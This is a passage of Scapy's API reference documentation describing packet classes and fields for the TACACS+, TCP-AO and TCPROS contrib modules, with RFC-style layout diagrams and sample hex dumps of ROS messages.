+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |           SERVER MSG          |      DATA     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                    Fig. TacacsAccountingReply                    


TacacsAccountingReply fields






	server_msg_len

	FieldLenField

	None



	data_len

	FieldLenField

	None



	status

	ByteEnumField

	None



	server_msg

	StrLenField

	b''



	data

	StrLenField

	b''















	
class scapy.contrib.tacacs.TacacsAccountingRequest(_pkt, /, *, flags=0, authen_method=0, priv_lvl=1, authen_type=1, authen_service=1, user_len=None, port_len=None, rem_addr_len=None, arg_cnt=None, arg_len_list=[], user=b'', port=b'', rem_addr=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tacacs.py#L264-L292]

	Bases: Packet

Tacacs accounting request body from section 6.1
https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-6.1


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     FLAGS     | AUTHEN METHOD |    PRIV LVL   |  AUTHEN TYPE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| AUTHEN SERVICE|    USER LEN   |    PORT LEN   |  REM ADDR LEN |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    ARG CNT    |          ARG LEN LIST         |      USER     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              PORT             |    REM ADDR   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                   Fig. TacacsAccountingRequest                   


TacacsAccountingRequest fields






	flags

	ByteEnumField

	0



	authen_method

	ByteEnumField

	0



	priv_lvl

	ByteEnumField

	1



	authen_type

	ByteEnumField

	1



	authen_service

	ByteEnumField

	1



	user_len

	FieldLenField

	None



	port_len

	FieldLenField

	None



	rem_addr_len

	FieldLenField

	None



	arg_cnt

	FieldLenField

	None



	arg_len_list

	FieldListField

	[]



	user

	StrLenField

	b''



	port

	StrLenField

	b''



	rem_addr

	StrLenField

	b''











	
guess_payload_class(pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tacacs.py#L289-L292]

	








	
class scapy.contrib.tacacs.TacacsAuthenticationContinue(_pkt, /, *, user_msg_len=None, data_len=None, flags=1, user_msg=b'', data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tacacs.py#L156-L170]

	Bases: Packet

Tacacs authentication continue body from section 4.3
https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-4.3


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          USER MSG LEN         |            DATA LEN           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     FLAGS     |            USER MSG           |      DATA     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                Fig. TacacsAuthenticationContinue                 


TacacsAuthenticationContinue fields






	user_msg_len

	FieldLenField

	None



	data_len

	FieldLenField

	None



	flags

	ByteEnumField

	1



	user_msg

	StrLenField

	b''



	data

	StrLenField

	b''















	
class scapy.contrib.tacacs.TacacsAuthenticationReply(_pkt, /, *, status=1, flags=0, server_msg_len=None, data_len=None, server_msg=b'', data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tacacs.py#L138-L153]

	Bases: Packet

Tacacs authentication reply body from section 4.2
https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-4.2


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |     FLAGS     |         SERVER MSG LEN        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            DATA LEN           |           SERVER MSG          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. TacacsAuthenticationReply                  


TacacsAuthenticationReply fields






	status

	ByteEnumField

	1



	flags

	ByteEnumField

	0



	server_msg_len

	FieldLenField

	None



	data_len

	FieldLenField

	None



	server_msg

	StrLenField

	b''



	data

	StrLenField

	b''















	
class scapy.contrib.tacacs.TacacsAuthenticationStart(_pkt, /, *, action=1, priv_lvl=1, authen_type=1, authen_service=1, user_len=None, port_len=None, rem_addr_len=None, data_len=None, user=b'', port=b'', rem_addr=b'', data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tacacs.py#L113-L135]

	Bases: Packet

Tacacs authentication start body from section 4.1
https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-4.1


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     ACTION    |    PRIV LVL   |  AUTHEN TYPE  | AUTHEN SERVICE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    USER LEN   |    PORT LEN   |  REM ADDR LEN |    DATA LEN   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              USER             |              PORT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            REM ADDR           |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. TacacsAuthenticationStart                  


TacacsAuthenticationStart fields






	action

	ByteEnumField

	1



	priv_lvl

	ByteEnumField

	1



	authen_type

	ByteEnumField

	1



	authen_service

	ByteEnumField

	1



	user_len

	FieldLenField

	None



	port_len

	FieldLenField

	None



	rem_addr_len

	FieldLenField

	None



	data_len

	FieldLenField

	None



	user

	StrLenField (Cond)

	b''



	port

	StrLenField

	b''



	rem_addr

	StrLenField

	b''



	data

	StrLenField

	b''















	
class scapy.contrib.tacacs.TacacsAuthorizationReply(_pkt, /, *, status=0, arg_cnt=None, server_msg_len=None, data_len=None, arg_len_list=[], server_msg=b'', data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tacacs.py#L226-L248]

	Bases: Packet

Tacacs authorization reply body from section 5.2
https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-5.2


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |    ARG CNT    |         SERVER MSG LEN        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            DATA LEN           |          ARG LEN LIST         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SERVER MSG          |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. TacacsAuthorizationReply                   


TacacsAuthorizationReply fields






	status

	ByteEnumField

	0



	arg_cnt

	FieldLenField

	None



	server_msg_len

	FieldLenField

	None



	data_len

	FieldLenField

	None



	arg_len_list

	FieldListField

	[]



	server_msg

	StrLenField

	b''



	data

	StrLenField

	b''











	
guess_payload_class(pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tacacs.py#L245-L248]

	








	
class scapy.contrib.tacacs.TacacsAuthorizationRequest(_pkt, /, *, authen_method=0, priv_lvl=1, authen_type=1, authen_service=1, user_len=None, port_len=None, rem_addr_len=None, arg_cnt=None, arg_len_list=[], user=b'', port=b'', rem_addr=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tacacs.py#L196-L223]

	Bases: Packet

Tacacs authorization request body from section 5.1
https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-5.1


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| AUTHEN METHOD |    PRIV LVL   |  AUTHEN TYPE  | AUTHEN SERVICE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    USER LEN   |    PORT LEN   |  REM ADDR LEN |    ARG CNT    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          ARG LEN LIST         |              USER             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              PORT             |            REM ADDR           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. TacacsAuthorizationRequest                  


TacacsAuthorizationRequest fields






	authen_method

	ByteEnumField

	0



	priv_lvl

	ByteEnumField

	1



	authen_type

	ByteEnumField

	1



	authen_service

	ByteEnumField

	1



	user_len

	FieldLenField

	None



	port_len

	FieldLenField

	None



	rem_addr_len

	FieldLenField

	None



	arg_cnt

	FieldLenField

	None



	arg_len_list

	FieldListField

	[]



	user

	StrLenField

	b''



	port

	StrLenField

	b''



	rem_addr

	StrLenField

	b''











	
guess_payload_class(pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tacacs.py#L220-L223]

	








	
class scapy.contrib.tacacs.TacacsClientPacket(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tacacs.py#L351-L366]

	Bases: Packet

Super class for tacacs packet in order to get them unencrypted
Obfuscation methodology from section 3.7
https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-3.7


	
aliastypes

	




	
post_dissect(pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tacacs.py#L361-L366]

	








	
class scapy.contrib.tacacs.TacacsHeader(_pkt, /, *, version=192, type=1, seq=1, flags=0, session_id=0, length=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tacacs.py#L369-L435]

	Bases: TacacsClientPacket

Tacacs Header packet from section 3.8
https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-3.8


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tacacs.py#L431-L435]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |      SEQ      |     FLAGS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SESSION ID                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LENGTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. TacacsHeader                         


TacacsHeader fields






	version

	ByteEnumField

	192



	type

	ByteEnumField

	1



	seq

	ByteField

	1



	flags

	ByteEnumField

	0



	session_id

	IntField

	0



	length

	IntField

	None











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tacacs.py#L386-L414]

	




	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tacacs.py#L428-L429]

	




	
payload_guess

	Possible sublayers:
TacacsAuthenticationReply, TacacsAuthenticationStart






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tacacs.py#L416-L426]

	








	
class scapy.contrib.tacacs.TacacsPacketArguments(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tacacs.py#L312-L348]

	Bases: Packet

Class defined to handle the arguments listed at the end of tacacs+
Authorization and Accounting packets.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. TacacsPacketArguments                    


TacacsPacketArguments fields






	data

	StrLenField

	b''











	
guess_payload_class(pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tacacs.py#L337-L348]

	




	
pre_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tacacs.py#L325-L335]

	








	
scapy.contrib.tacacs.obfuscate(pay, secret, session_id, version, seq)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tacacs.py#L30-L56]

	Obfuscation methodology from section 3.7
https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-3.7








            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.tcpao

Packet-processing utilities implementing RFC5925 and RFC5926


	
class scapy.contrib.tcpao.TCPAOAlg[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpao.py#L48-L59]

	Bases: object


	
classmethod kdf(master_key: bytes, context: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpao.py#L49-L52]

	




	
classmethod mac(traffic_key: bytes, context: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpao.py#L54-L57]

	




	
maclen = -1

	








	
class scapy.contrib.tcpao.TCPAOAlg_CMAC_AES[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpao.py#L77-L92]

	Bases: TCPAOAlg


	
classmethod kdf(master_key: bytes, context: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpao.py#L78-L85]

	




	
classmethod mac(traffic_key: bytes, message: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpao.py#L87-L90]

	




	
maclen = 12

	








	
class scapy.contrib.tcpao.TCPAOAlg_HMAC_SHA1[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpao.py#L62-L74]

	Bases: TCPAOAlg


	
classmethod kdf(master_key: bytes, context: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpao.py#L63-L67]

	




	
classmethod mac(traffic_key: bytes, message: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpao.py#L69-L72]

	




	
maclen = 12

	








	
scapy.contrib.tcpao.build_context(saddr: bytes, daddr: bytes, sport: int, dport: int, src_isn: int, dst_isn: int) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpao.py#L125-L147]

	Build context bytes as specified by RFC5925 section 5.2






	
scapy.contrib.tcpao.build_context_from_packet(p: Packet, src_isn: int, dst_isn: int) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpao.py#L150-L165]

	Build context bytes as specified by RFC5925 section 5.2






	
scapy.contrib.tcpao.build_message_from_packet(p: Packet, include_options: bool = True, sne: int = 0) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpao.py#L168-L218]

	Build message bytes as described by RFC5925 section 5.1






	
scapy.contrib.tcpao.calc_tcpao_mac(p: Packet, alg: TCPAOAlg, traffic_key: bytes, include_options: bool = True, sne: int = 0) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpao.py#L230-L235]

	Calculate TCP-AO MAC from packet and traffic key






	
scapy.contrib.tcpao.calc_tcpao_traffic_key(p: Packet, alg: TCPAOAlg, master_key: bytes, sisn: int, disn: int) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpao.py#L221-L227]

	Calculate TCP-AO traffic-key from packet and initial sequence numbers

This is constant for an established connection.






	
scapy.contrib.tcpao.get_alg(name: str) → TCPAOAlg[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpao.py#L95-L102]

	




	
scapy.contrib.tcpao.sign_tcpao(p: Packet, alg: TCPAOAlg, traffic_key: bytes, keyid: int = 0, rnextkeyid: int = 0, include_options: bool = True, sne: int = 0) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpao.py#L238-L255]

	Calculate TCP-AO option value and insert into packet








            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.tcpros

TCPROS transport layer for ROS Melodic Morenia 1.14.5


	
class scapy.contrib.tcpros.TCPROS(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpros.py#L28-L133]

	Bases: Packet

TCPROS is a transport layer for ROS Messages and Services. It uses standard
TCP/IP sockets for transporting message data. Inbound connections are
received via a TCP Server Socket with a header containing message data type
and routing information.

This class focuses on capturing the ROS Slave API

An example package is presented below:

B0 00 00 00 26 00 00 00 63 61 6C 6C 65 72 69 64  ....&...callerid
3D 2F 72 6F 73 74 6F 70 69 63 5F 38 38 33 30 35  =/rostopic_88305
5F 31 35 39 31 35 33 38 37 38 37 35 30 31 0A 00  _1591538787501..
00 00 6C 61 74 63 68 69 6E 67 3D 31 27 00 00 00  ..latching=1'...
6D 64 35 73 75 6D 3D 39 39 32 63 65 38 61 31 36  md5sum=992ce8a16
38 37 63 65 63 38 63 38 62 64 38 38 33 65 63 37  87cec8c8bd883ec7
33 63 61 34 31 64 31 1F 00 00 00 6D 65 73 73 61  3ca41d1....messa
67 65 5F 64 65 66 69 6E 69 74 69 6F 6E 3D 73 74  ge_definition=st
72 69 6E 67 20 64 61 74 61 0A 0E 00 00 00 74 6F  ring data.....to
70 69 63 3D 2F 63 68 61 74 74 65 72 14 00 00 00  pic=/chatter....
74 79 70 65 3D 73 74 64 5F 6D 73 67 73 2F 53 74  type=std_msgs/St
72 69 6E 67                                      ring






	Sources:
	
	http://wiki.ros.org/ROS/TCPROS


	http://wiki.ros.org/ROS/Connection%20Header


	https://docs.python.org/3/library/struct.html


	https://scapy.readthedocs.io/en/latest/build_dissect.html








Notes


	4-byte length + [4-byte field length + field=value ]*


	
	All length fields are little-endian integers. Field names and
	values are strings.







	Cooked as of ROS Melodic Morenia v1.14.5.





	
aliastypes

	




	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpros.py#L71-L133]

	








	
class scapy.contrib.tcpros.TCPROSBody(_pkt, /, *, body_length=None, list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpros.py#L235-L306]

	Bases: Packet

TCPROS body type of package:

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|body_l.|  len1 |                    element1                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |  len2 |                                       |
+-+-+-+-+-+-+-+-+-+-+-+-+                                       +
|                            element2                           |
+                       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       |  ...  |                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                              ...                              +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+






	Generated with::
	
	protocol “body_length:4,len1:4,element1:32,len2:4,
	element2:64,…:4,…:80” –bits 32









As per ROS Melodic Morenia v1.14.5. this package is generally
seen separated from a TCPROSHeader. A simple such package:

12 00 00 00 0E 00 00 00 68 65 6C 6C 6F 20 77 6F  ........hello wo
72 6C 64 20 31 36                                rld 16






	
aliastypes

	




	
comment: bytes | None

	




	
default_fields: Dict[str, Any]

	




	
direction: int | None

	




	
do_dissect_payload(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpros.py#L302-L303]

	




	
explicit

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpros.py#L305-L306]

	




	
fields: Dict[str, Any]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          BODY LENGTH                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LIST             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. TCPROSBody                          


TCPROSBody fields






	body_length

	FieldLenField

	None



	list

	PacketListField

	[]











	
fieldtype: Dict[str, AnyField]

	




	
name

	




	
nfields_body

	




	
original

	




	
overload_fields: Dict[Type[Packet], Dict[str, Any]]

	




	
overloaded_fields: Dict[str, Any]

	




	
packetfields: List[AnyField]

	




	
parent

	




	
payload: Packet

	




	
post_transforms

	




	
pre_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpros.py#L278-L300]

	Called to prepare the layer before dissection






	
raw_packet_cache: bytes | None

	




	
raw_packet_cache_fields: Dict[str, Any] | None

	




	
sent_time: EDecimal | float | None

	




	
sniffed_on: _GlobInterfaceType | None

	




	
stop_dissection_after

	




	
time: EDecimal | float

	




	
underlayer

	




	
wirelen: int | None

	








	
class scapy.contrib.tcpros.TCPROSBodyVariation(_pkt, /, *, body_length=None, sequence=0, signature=None, list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpros.py#L309-L380]

	Bases: TCPROSBody

TCPROS body variation type of package:

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|body_l.|sequen.|        signature        |  len1 |             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     element1                    |  ...  |     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+     +
|                                                               |
+                              ...                              +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+






	Generated with::
	
	protocol “body_length:4,sequence:4,signature:13,len1:4,
	element1:32,…:4,…:67” –bits 32









As per ROS Melodic Morenia v1.14.5. this package is generally
seen separated from a TCPROSHeader. An exemplary such package:

AB 00 00 00 00 00 00 00 7D 81 03 5F 7C A4 3F 0E  ........}.._|.?.
00 00 00 00 02 09 00 00 00 2F 6C 69 73 74 65 6E  ........./listen
65 72 18 00 00 00 49 20 68 65 61 72 64 3A 20 5B  er....I heard: [
68 65 6C 6C 6F 20 77 6F 72 6C 64 20 33 5D 47 00  hello world 3]G.
00 00 2F 74 6D 70 2F 62 69 6E 61 72 79 64 65 62  ../tmp/binarydeb
2F 72 6F 73 2D 6D 65 6C 6F 64 69 63 2D 72 6F 73  /ros-melodic-ros
63 70 70 2D 74 75 74 6F 72 69 61 6C 73 2D 30 2E  cpp-tutorials-0.
39 2E 32 2F 6C 69 73 74 65 6E 65 72 2F 6C 69 73  9.2/listener/lis
74 65 6E 65 72 2E 63 70 70 0F 00 00 00 63 68 61  tener.cpp....cha
74 74 65 72 43 61 6C 6C 62 61 63 6B 26 00 00 00  tterCallback&...
01 00 00 00 07 00 00 00 2F 72 6F 73 6F 75 74     ......../rosout





and the next one referring also to ‘/listener’:

AB 00 00 00 01 00 00 00 7D 81 03 5F 00 54 42 14  ........}.._.TB.
00 00 00 00 02 09 00 00 00 2F 6C 69 73 74 65 6E  ........./listen
65 72 18 00 00 00 49 20 68 65 61 72 64 3A 20 5B  er....I heard: [
68 65 6C 6C 6F 20 77 6F 72 6C 64 20 34 5D 47 00  hello world 4]G.
00 00 2F 74 6D 70 2F 62 69 6E 61 72 79 64 65 62  ../tmp/binarydeb
2F 72 6F 73 2D 6D 65 6C 6F 64 69 63 2D 72 6F 73  /ros-melodic-ros
63 70 70 2D 74 75 74 6F 72 69 61 6C 73 2D 30 2E  cpp-tutorials-0.
39 2E 32 2F 6C 69 73 74 65 6E 65 72 2F 6C 69 73  9.2/listener/lis
74 65 6E 65 72 2E 63 70 70 0F 00 00 00 63 68 61  tener.cpp....cha
74 74 65 72 43 61 6C 6C 62 61 63 6B 26 00 00 00  tterCallback&...
01 00 00 00 07 00 00 00 2F 72 6F 73 6F 75 74     ......../rosout





NOTE: not all packages are disgested appropriately and some
fields need to be better understood (e.g. signature) for
appropriate building.

NOTE 2: Needs further research to convert Padding at the end to
something that makes sense.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          BODY LENGTH                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SEQUENCE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SIGNATURE                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              LIST             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. TCPROSBodyVariation                     


TCPROSBodyVariation fields






	body_length

	FieldLenField

	None



	sequence

	LEIntField

	0



	signature

	StrFixedLenField

	None



	list

	PacketListField

	[]















	
class scapy.contrib.tcpros.TCPROSElement(_pkt, /, *, field_length=None, field=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpros.py#L136-L154]

	Bases: Packet

Captures each one of the elements in the
TCPROSHeader or TCPROSBody packages.

NOTE: Used within other packages


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpros.py#L153-L154]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          FIELD LENGTH                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FIELD             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. TCPROSElement                        


TCPROSElement fields






	field_length

	FieldLenField

	None



	field

	StrLenField

	b''















	
class scapy.contrib.tcpros.TCPROSHeader(_pkt, /, *, header_length=None, list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tcpros.py#L157-L232]

	Bases: Packet

The Header of the TCPROS package:

